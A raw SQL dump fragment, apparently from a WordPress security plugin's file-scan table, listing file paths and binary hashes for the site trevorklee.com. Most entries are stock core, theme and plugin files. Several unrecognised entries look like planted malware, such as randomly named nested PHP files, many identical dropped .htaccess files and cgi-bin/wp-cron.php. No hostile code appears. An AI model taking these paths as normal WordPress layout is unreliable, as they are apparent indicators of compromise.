('Unɓb4lZ,I','wp-admin/css/about-rtl.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/about-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','$.u4|{E','CnI\r{VMFW0n','',0,'?'),
('U$i\"u&9','wp-includes/images/crystal/video.png','/home/trevorkl/trevorklee.com/wp-includes/images/crystal/video.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','lڤ;=','S\rIU9_<f`&HYwu','',0,'?'),
('UBT{<P]Jf','wp-content/themes/twentytwentytwo/inc/patterns/query-grid.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/query-grid.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','W[S>na.1','\0K-b\nw3o\0Il!)','',0,'?'),
('Un3ْ','wp-includes/js/dist/script-modules/block-library/navigation/view.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/block-library/navigation/view.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','R&OO<!','NgV&(`<s󪠡?4&+','',0,'?'),
('U=>wX','wp-content/themes/twentytwentytwo/inc/patterns/header-title-navigation-social.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/header-title-navigation-social.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','n9,~8A','\\1̷x=t|z==\"[','',0,'?'),
('U^ HT7j','wp-content/themes/twentytwentyone/template-parts/excerpt/excerpt-audio.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/template-parts/excerpt/excerpt-audio.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','$BM1ז@iF','&Vsy%<kC=u4)%_','',0,'?'),
('U4y\\,\ZZ','wp-content/plugins/wordfence/lib/wfJavascriptBridge.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfJavascriptBridge.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','.cv5{','<qGn~54YN/BʪY','',0,'?'),
('UG&t_Tr','wp-includes/css/dist/commands/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/commands/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','faxdC','J9\0ٷ(!P.gCCIR:Ɏ0','',0,'?'),
('UGJD; dۦx','wp-content/themes/twentytwentyfive/patterns/event-schedule.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/event-schedule.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Q{}f`','2T7f5{(Xi3s.#xk깐','',0,'?'),
('V\nKOZ7!JO','wp-includes/css/dist/block-library/editor-elements-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-library/editor-elements-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','vHօ<Uj+@T','VLb4dopwXK','',0,'?'),
('V\nU`_58','wp-includes/js/customize-base.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/customize-base.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','L妽uW?t','LIIM c$kƁd&@G','',0,'?'),
('V\nyݎpl3x','wp-includes/blocks/accordion-panel/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/accordion-panel/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','XP\0HF0:','KĒu&q2Y+-Q1Usa(JL','',0,'?'),
('V<7Gn','wp-includes/blocks/separator/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/separator/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' tEo?@{','kL#Ga^	,І\rF\'\ng:}FLz','',0,'?'),
('V(oVy','wp-includes/html-api/xegynso/gqy1pns/index.html','/home/trevorkl/trevorklee.com/wp-includes/html-api/xegynso/gqy1pns/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('V\Z_R','wp-content/themes/twentynineteen/js/priority-menu.js','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/js/priority-menu.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','K~&*mBT@GI','D(Tu}5{ \0+5g7`)y','',0,'?'),
('V\r3#J{','wp-includes/sodium_compat/composer.json','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/composer.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','X7{(G5','5<HX0t>-','',0,'?'),
('VB.iхDi','wp-content/themes/twentytwentyfive/patterns/page-cv-bio.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/page-cv-bio.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Qu5[soU','xH+Cmi\"sC]3N','',0,'?'),
('VTd8>','wp-includes/interactivity-api/class-wp-interactivity-api-directives-processor.php','/home/trevorkl/trevorklee.com/wp-includes/interactivity-api/class-wp-interactivity-api-directives-processor.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','o,I\'+j','Jy\"h9x+ruq?OYbGP<','',0,'?'),
('V#7A@?)','wp-content/plugins/wordfence/views/unsupported-php/admin-message.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/unsupported-php/admin-message.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','A	HRQ~','jZ=8<Oc-R=s.)4ƃ','',0,'?'),
('V$oFIq','wp-includes/Requests/src/Response/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Response/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('V+2tm7\'a','wp-includes/Text/elbyraq/1qafueo/vlkr1cf/ORVX-Qt6TYY.php','/home/trevorkl/trevorklee.com/wp-includes/Text/elbyraq/1qafueo/vlkr1cf/ORVX-Qt6TYY.php',0,',id}tO',',id}tO','+BBf7(D\'+s/2','',0,'?'),
('V2L\0ۺ','wp-includes/js/jquery/ui/controlgroup.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/controlgroup.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','<RvcH52','(}f\n7-Qo6daέ/Px','',0,'?'),
('V88ߟ\rZ5','wp-content/themes/twentynineteen/comments.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/comments.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ߪt#x;@','~`xkŵu-jĭ<+ԗ!lE7z','',0,'?'),
('V?ONeZF\\','wp-includes/js/jquery/ui/accordion.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/accordion.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','8Ol\0}','o=/Z`LmBlcqκ~','',0,'?'),
('VI<~Ou4BO','wp-includes/theme-compat/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/theme-compat/.htaccess',0,'q	n\03%Y','q	n\03%Y',';:3d$,KNnNpR6A','',0,'?'),
('VL67G^l%D5z3','wp-includes/default-widgets.php','/home/trevorkl/trevorklee.com/wp-includes/default-widgets.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','=MN,*Y|2$','#	fix\ZYRR(@?h','',0,'?'),
('VW;z*(','wp-includes/blocks/navigation.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/navigation.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','y~a7AE-e-o','\rPL/H\\~o\rTZ$/','',0,'?'),
('VhXnA.2z','wp-content/themes/twentytwentytwo/parts/header.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/parts/header.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','LEH]jb','@yˎ~S|t(@l,f~','',0,'?'),
('Vi\'Ruh:u','wp-includes/blocks/query-pagination-previous.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/query-pagination-previous.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Vy3;H1&','t0fLoM+Aa4,m&-','',0,'?'),
('Vm;_QOȨ>nς','wp-content/themes/twentytwentyfour/patterns/text-faq.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/text-faq.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','LZ?r','rFV8H;V& 7n','',0,'?'),
('Vne!z0u1?','wp-includes/shortcodes.php','/home/trevorkl/trevorklee.com/wp-includes/shortcodes.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','$G??;PiQ','\nw92`9`3*Sn\n3OT8','',0,'?'),
('VrmKEpj6','wp-admin/images/w-logo-blue.png','/home/trevorkl/trevorklee.com/wp-admin/images/w-logo-blue.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[NW_pw0','ޣ^Qt3HunU❻~\'T2','',0,'?'),
('VyJf-wȘ','wp-content/plugins/loginizer/lib/hybridauth/Exception/RuntimeException.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/Exception/RuntimeException.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','SH,a*锟!r','UE|謈go\'a[','',0,'?'),
('VzH}NTy$','wp-includes/css/dist/block-directory/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-directory/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('VBj','wp-includes/js/jquery/ui/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('V댏$x','wp-admin/js/post.js','/home/trevorkl/trevorklee.com/wp-admin/js/post.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','#@S1','Wi[WkyKb۝R]Kf{','',0,'?'),
('V6\\7haŅk;','wp-content/themes/twentytwentyfive/assets/images/akaka-falls-state-park-flora.webp','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/akaka-falls-state-park-flora.webp',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' \nx.EpaB','m۹݁NPM=;ϝ<','',0,'?'),
('Vrz(nol*','wp-content/plugins/wordfence/modules/login-security/classes/controller/permissions.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/controller/permissions.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',':ӋNsLH','>$C\n6 :#\rVXw㗑v _Ȑ','',0,'?'),
('VÄnͲ$mqh','wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/Exception/IncompatibleIpVersionException.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/Exception/IncompatibleIpVersionException.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ϷN=|Уwu','$,oo]҇fY{B\\\0Q_n','',0,'?'),
('V׀\'hĈ+:','wp-admin/includes/network.php','/home/trevorkl/trevorklee.com/wp-admin/includes/network.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Q3QcLRPK#c','U*#Djl	f4(~<','',0,'?'),
('VuxpRcQ\"','wp-includes/Requests/src/IdnaEncoder.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/IdnaEncoder.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ދ}2ee','}C\r0gN5#<W`+\0%Fds{Lrd','',0,'?'),
('Ws$8~Nȁ-@','wp-includes/js/mediaelement/mediaelementplayer.css','/home/trevorkl/trevorklee.com/wp-includes/js/mediaelement/mediaelementplayer.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','1ĪL5!\n','o^:v\\mocTW[k','',0,'?'),
('W&ִ )+ڱ','wp-admin/includes/class-plugin-installer-skin.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-plugin-installer-skin.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','¨7Ip0N~\Z','9g8,7d] 䏨L!NS\r','',0,'?'),
('W(:W)d8','wp-content/plugins/loginizer/lib/hybridauth/Logger/Psr3LoggerWrapper.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/Logger/Psr3LoggerWrapper.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','C{LSfAD','<x *z<FEi:1H\099H','',0,'?'),
('W8h!ɩkĉ\'','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Curve25519/Ge/Cached.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Curve25519/Ge/Cached.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','rRUb*\0\'','x<sBZ2jRM\'0%$i{ V','',0,'?'),
('W<>G>l&','wp-content/plugins/loginizer/lib/hybridauth/Exception/NotImplementedException.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/Exception/NotImplementedException.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','r]nܥ:.Py5 ','Ա5PsU\\3mĎҭ','',0,'?'),
('Wx\ZTa7{','wp-content/plugins/wordfence/modules/login-security/classes/model/asset.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/model/asset.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','b<M9%m1<~','y-Zձ~6	q<:hy\Z','',0,'?'),
('W{|U','wp-includes/SimplePie/src/Parse/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Parse/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('W{g- X\'=n8','wp-admin/moderation.php','/home/trevorkl/trevorklee.com/wp-admin/moderation.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ZEVUu','Fq61<wt&b1','',0,'?'),
('W})Ӗ7e}59,','wp-admin/load-styles.php','/home/trevorkl/trevorklee.com/wp-admin/load-styles.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','2tm*GKt	','\Z9..u0C8\rF~߀~sHM','',0,'?'),
('W) (v/31','wp-includes/html-api/class-wp-html-processor-state.php','/home/trevorkl/trevorklee.com/wp-includes/html-api/class-wp-html-processor-state.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','﬑фY>','\'Lci~^`(\rbwtp*v','',0,'?'),
('WLjN/@Ϣư','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/SecretStream/State.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/SecretStream/State.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','T	nrk',';\\Xځ/0;QP.B4\Z','',0,'?'),
('WcG\'X','wp-includes/blocks/read-more/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/read-more/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('WU?tl/W >','wp-content/themes/twentynineteen/style-editor.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/style-editor.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','4ُLkPu:','/o8Bx\'8e$\"-Ev','',0,'?'),
('X+ٴ301','wp-content/themes/twentytwentyone/style-rtl.css','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','BE1\r.Jv','-|[,.KQoEp[^-f','',0,'?'),
('X,ECj$_8I0','wp-includes/images/smilies/icon_cool.gif','/home/trevorkl/trevorklee.com/wp-includes/images/smilies/icon_cool.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\n`ivj.','事F9;2_	$$~LOa6_','',0,'?'),
('XJ\nsp3t9!҈','wp-includes/style-engine/class-wp-style-engine.php','/home/trevorkl/trevorklee.com/wp-includes/style-engine/class-wp-style-engine.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Onz\r.','<ϼA9>nQ\0b̬a','',0,'?'),
('Xg#m\rfj7m^','wp-includes/blocks/post-title.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-title.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','vҼYr','olKJi<\0I&ysyR\r6.!','',0,'?'),
('XqZ\0OY','wp-includes/blocks/term-template/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/term-template/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','n.#A0TD','xÆV,JntvȑI','',0,'?'),
('X:8+˓2>V]8','wp-admin/images/sort-2x.gif','/home/trevorkl/trevorklee.com/wp-admin/images/sort-2x.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Aìk:bтvFj','\'aK\0tGJBqXW*(J|1z[(','',0,'?'),
('Xi83qb|,\r','wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/IpAddress.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/IpAddress.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','f!ɎГ°','Fv^ZSu؞Łp\nCk','',0,'?'),
('X(V1G\\','wp-includes/js/dist/vendor/react-jsx-runtime-19.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/vendor/react-jsx-runtime-19.js',0,'+sGfAOl)ۯr','+sGfAOl)ۯr','б6-Ԯ؏qf<yu5H{/:@m','',0,'?'),
('X2FGrmF','wp-includes/blocks/button/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/button/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','.{_','^SnQf@սmEl܁X{JN.','',0,'?'),
('XsYqePL','wp-includes/blocks/code/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/code/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@_Fx','}\0-&k?lV=nf\'V)','',0,'?'),
('XɉDSiL=M','wp-content/plugins/header-footer-code-manager/js/nnr-hfcm-showboxes.js','/home/trevorkl/trevorklee.com/wp-content/plugins/header-footer-code-manager/js/nnr-hfcm-showboxes.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Riuu#','o\0v\ZR3>/l','',0,'?'),
('XGzX','wp-admin/includes/class-wp-upgrader.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-wp-upgrader.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ܩhIm\rfvI','\"v+ue-IEIzĀUU','',0,'?'),
('X~Vzl!_]/-3','wp-content/plugins/wordfence/models/firewall/wfFirewall.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/models/firewall/wfFirewall.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','T P7y0tן','[U(NjNؑ×k','',0,'?'),
('Xk(DqțG','wp-includes/js/jquery/ui/slider.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/slider.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','5|cWKxb',' u/\\G؆#(,gMw+yțFT','',0,'?'),
('XN8jc','wp-includes/blocks/post-excerpt/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-excerpt/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','=u`6RB\'','X9s3|ya,[a1','',0,'?'),
('X=2h4/{+','wp-includes/spl-autoload-compat.php','/home/trevorkl/trevorklee.com/wp-includes/spl-autoload-compat.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','6u{t',',Z\rM	>܅gp/	Z\Z#`!.','',0,'?'),
('Xlu֓AvY','cgi-bin/wp-cron.php','/home/trevorkl/trevorklee.com/cgi-bin/wp-cron.php',0,'/&&7','/&&7','4g FGF3t=[\n!J/}U_','',0,'?'),
('XTCW_^og','wp-admin/includes/class-wp-debug-data.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-wp-debug-data.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','yULϸքCK','oyCq>?w1g\nE4yۭX{','',0,'?'),
('Y(Kg\0_','wp-includes/js/dist/annotations.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/annotations.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','dEɣm:)','0JI%\rP4;|Hny=E','',0,'?'),
('Y,Qpgmu#e~','wp-includes/widgets/class-wp-nav-menu-widget.php','/home/trevorkl/trevorklee.com/wp-includes/widgets/class-wp-nav-menu-widget.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','oDgI].op[','Uŋd#mdƂ26\rz,v*f','',0,'?'),
('Y/ޑ	\Z','wp-includes/js/dist/escape-html.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/escape-html.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ìn$4\r','D8U )`!!T?65','',0,'?'),
('YBt\n\ncݟ.vi','wp-content/plugins/wordfence/views/diagnostics/text.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/diagnostics/text.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ӱ$*s&','hpJ|!5o-hfRds=f','',0,'?'),
('YV29}D8','wp-content/plugins/wordfence/crypto/vendor/paragonie/random_compat/lib/random_bytes_mcrypt.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/random_compat/lib/random_bytes_mcrypt.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','CZ?@JN_ji<\Z','<H\"F@%1`7<	}','',0,'?'),
('Y]mx^/yIt','wp-content/plugins/loginizer/lib/IPv6/BigInteger.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/IPv6/BigInteger.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' R2vr쥪G?','e@gʟGX	8w=ߛjkP','',0,'?'),
('Y^b856*n.$','wp-includes/js/dist/script-modules/dashboard-init/index.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/dashboard-init/index.min.js',0,'XOԛX4I;','XOԛX4I;','hH;f%s}\n<Kut^\'=\Z椂\r','',0,'?'),
('YLah(','wp-admin/edit.php','/home/trevorkl/trevorklee.com/wp-admin/edit.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','xBIjp','GXNcw/-w\'i6J','',0,'?'),
('Y,eAw`','wp-includes/images/media/archive.png','/home/trevorkl/trevorklee.com/wp-includes/images/media/archive.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','9h\0ìu','\0Bb3\'\')JG ](G9Pr2 s','',0,'?'),
('Y.ˠEd\'','wp-includes/blocks/post-content/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-content/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','q@EXbnpeН','V2, `\ZͯM&\\xFq[Ɵ','',0,'?'),
('YBWy	+BOmz','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/HChaCha20.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/HChaCha20.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','#:N\'DxN','[_|А~E+~E(`_','',0,'?'),
('Y68H;%,_c\n','wp-includes/css/wp-auth-check.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/wp-auth-check.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',';i.14zd\rq','m`( \0_wtʏ%f\0','',0,'?'),
('YJ|[DyY','wp-content/plugins/wordfence/waf/.htaccess','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/waf/.htaccess',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','E\"xK{8dS','C\'r9@Kކtw#@k','',0,'?'),
('Y]ŞI','wp-includes/js/jquery/ui/effect-slide.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/effect-slide.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','m8+','IF\0a{|\'(nJ/c\n-:G9','',0,'?'),
('YUL5Jޔv[','wp-includes/rest-api/search/class-wp-rest-search-handler.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/search/class-wp-rest-search-handler.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' $[wLua','ˍ^ ;\0d2Œ43s.~$[Z\"','',0,'?'),
('ZuRAQ~','wp-content/themes/twentytwentytwo/inc/patterns/general-image-with-caption.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/general-image-with-caption.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Bf|;V','(Ϭyk>?	-q@>4oFIF','',0,'?'),
('Z核A@t','wp-includes/blocks/search/view.asset.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/search/view.asset.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ft sZ','t띙8l\"êK8@N1gY#x','',0,'?'),
('Z<[KUue','wp-content/themes/twentytwentytwo/inc/patterns/page-about-large-image-and-buttons.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/page-about-large-image-and-buttons.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','1.^G\n[_',')۱@VN\n,%MhhbV5Vp','',0,'?'),
('Z	̾>Qks\Z','wp-includes/SimplePie/src/File.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/File.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','~T&\ZROu','%f*rt1f[8Ttdy(\'\0','',0,'?'),
('Z4<n?e','wp-content/plugins/wordfence/lib/wfConfig.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfConfig.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','8nv0m.','Fȝ;B|sXa=eK\': 	','',0,'?'),
('Z9}.Jk=','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Curve25519/Ge/P1p1.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Curve25519/Ge/P1p1.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',',셄Ux-,','\'\\yJRV-sd{J;','',0,'?'),
('ZAPz','wp-includes/blocks/pullquote/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/pullquote/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','YcYl[','fn:+ug{kLq_KX','',0,'?'),
('ZD:-h${ma','wp-content/plugins/wordfence/images/sort_desc.png','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/sort_desc.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','?զ)X?N','bEԚB#:(#=_(\Z|U#','',0,'?'),
('ZFe~]_','wp-content/plugins/wordfence/js/wfglobal.1788880300.js','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/js/wfglobal.1788880300.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',':Ac5>94N',';g D:ali\05Ē','',0,'?'),
('ZPe2I [͠','wp-content/themes/twentytwentyone/assets/sass/07-utilities/a11y.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/07-utilities/a11y.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','UӏG',':4Y\ZCwA39\r@ђ','',0,'?'),
('Zx12KZ,','wp-includes/customize/class-wp-customize-header-image-control.php','/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-header-image-control.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','6+n\rS5X\"','w,\'ݑIVPXg\0','',0,'?'),
('Z0s{\0GtZ','wp-includes/blocks/categories/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/categories/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','m!^̻lPâ','r)aӞhut׋\0+Ua','',0,'?'),
('ZUWoA','wp-includes/blocks/accordion-item/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/accordion-item/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',']?2fMc&','	6\\=8HgPI[\\4','',0,'?'),
('Z8\nϝ','wp-content/themes/twentytwentytwo/readme.txt','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/readme.txt',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','/\\{~=w','l-ܑADHS\nSX:{>|','',0,'?'),
('Z_\"~J','wp-includes/js/wp-custom-header.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/wp-custom-header.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','g,ﶸU','W#iԽMǟv(Q\rRC','',0,'?'),
